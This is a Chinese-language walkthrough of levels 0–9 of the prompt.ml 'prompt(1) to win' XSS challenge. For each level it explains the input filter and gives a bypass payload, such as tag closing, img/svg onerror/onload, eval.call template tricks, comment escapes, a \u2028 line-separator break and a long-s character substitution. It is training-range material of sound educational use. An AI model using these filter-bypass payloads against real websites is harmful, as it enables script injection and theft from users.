目录
前言
- 呼叫提示符prompt(1)获胜,你应该在没有用户交互的情况下制作它。在完成每个关卡后,你的有效载荷将等待验证并测试:最新版本,Firefox(最新版本)、ie 10,虽然大多数级别都有所有浏览器解决方案,但有些可能没有。可以保证每个级别至少有两个浏览器的解决方案。最后但并非最不重要的是,有效载荷需要更少的角色,下面是靶场的网址
prompt(1) to win - 0x0http://prompt.ml/0
📖0
1.1特点
- 下面限制了我们输入的位置,所以老套路闭合双引号和input标签,然后使用script标签通过
1.2方法
"><script>prompt(1)</script>
📖1
1.1特点
这里使用正则表达将<>、</>过滤了,并且让我们在article标签中输入,那么只能通过注释符将标签注释掉,然后使用不用闭合标签的img标签来通过
1.2方法
--><img src=1 onerror=prompt(1)#回车键
📖2
1.1特点
- 这里过滤了等于号和右括号,我们可以尝试使用eval.call方法和
1.2方法
<svg><script>prompt(1)</script>#svg标签触发XML实体解析
<script>eval.call`${`prompt\x281)`}`</script>
📖3
1.1特点
- 这里对->进行了过滤,但是它并没有过滤<!--和--!>,所以我们使用他们通过
1.2方法
--!><script>prompt(1)</script>
📖4
1.1特点
- 限制了你的输入必须为http...,否则不显示,这里我自己搭建了网站写入了触发值,在网站访问都可以成功弹窗但是在靶场显示没成功
1.2方法
http://prompt.ml%2f@127.0.0.1/js.html
📖5
1.1特点
- 这里使用正则过滤了大于号、on开头的含=的点击触发事件、autofocus事件,我们可以尝试闭合双引号,然后修改type属性,使用点击或者错误触发事件都可以,但是点击事件需要点击触发,这里实现不了
1.2方法
"type=image src=1 onerror
="prompt(1)
" onclick
="prompt(1)
📖6
1.1特点
- 它使用了函数限制了你必须输入形如http://httpbin.org/post#{"name":"Matt"}的input,并使用#将前后分割开了,然后使用form创建了一个表单,将url赋给了action,post请求给了method,尝试使用JavaScript:alert(1)赋值给form表单中的action,让其将弹窗生效,注意,在这里不能生效,因为下面的判断语句中使用正则对script进行了限制,所以这个方法行不通,大小写试试,结果不可以,因为下面的i忽略大小写, 那么我们可以尝试让一个新的action去覆盖之前的这样就不会去执行判断来过滤script
1.2方法
javascript:prompt(1)#{"action":""}
📖7
1.1特点
- 这里对输入字符数进行了限制,并且只能通过#分割,所以我们考虑注释的方法通过
1.2方法
"><script>/*#*/prompt(/*#*/1)/*#*/</script>
📖8
1.1特点
- 这里使用正则表达式过滤了回车、换行符、/、小于号和双引号,限制我们输入在注释的语句中,那么我们首先就应该考虑如何逃出,由于双引号和小于号还有换行符都被限制了那只能考虑使用unicode将换行符进行编码,然后使prompt换行,然后再将后面的双引号和括号注释掉,这里使用Unicode是因为在js中只能用它先编码然后再转换回来
1.2方法
#下面是在控制台将我们编码好的进行转换得到下面的结果
'\u2028prompt(1)\u2028-->'
'
prompt(1)
-->'
#然后输入进去就能达到换行执行prompt的效果
📖9
1.1特点
- 这里限制了我们能使用的事件标签,所以只能使用一个特殊的字母它在js中可以被转换为s,所以只能使用svg或者script标签,又因为js中区分大小写,所以还需要将prompt进行编码
1.2方法
<ſvg/onload=prompt(1)>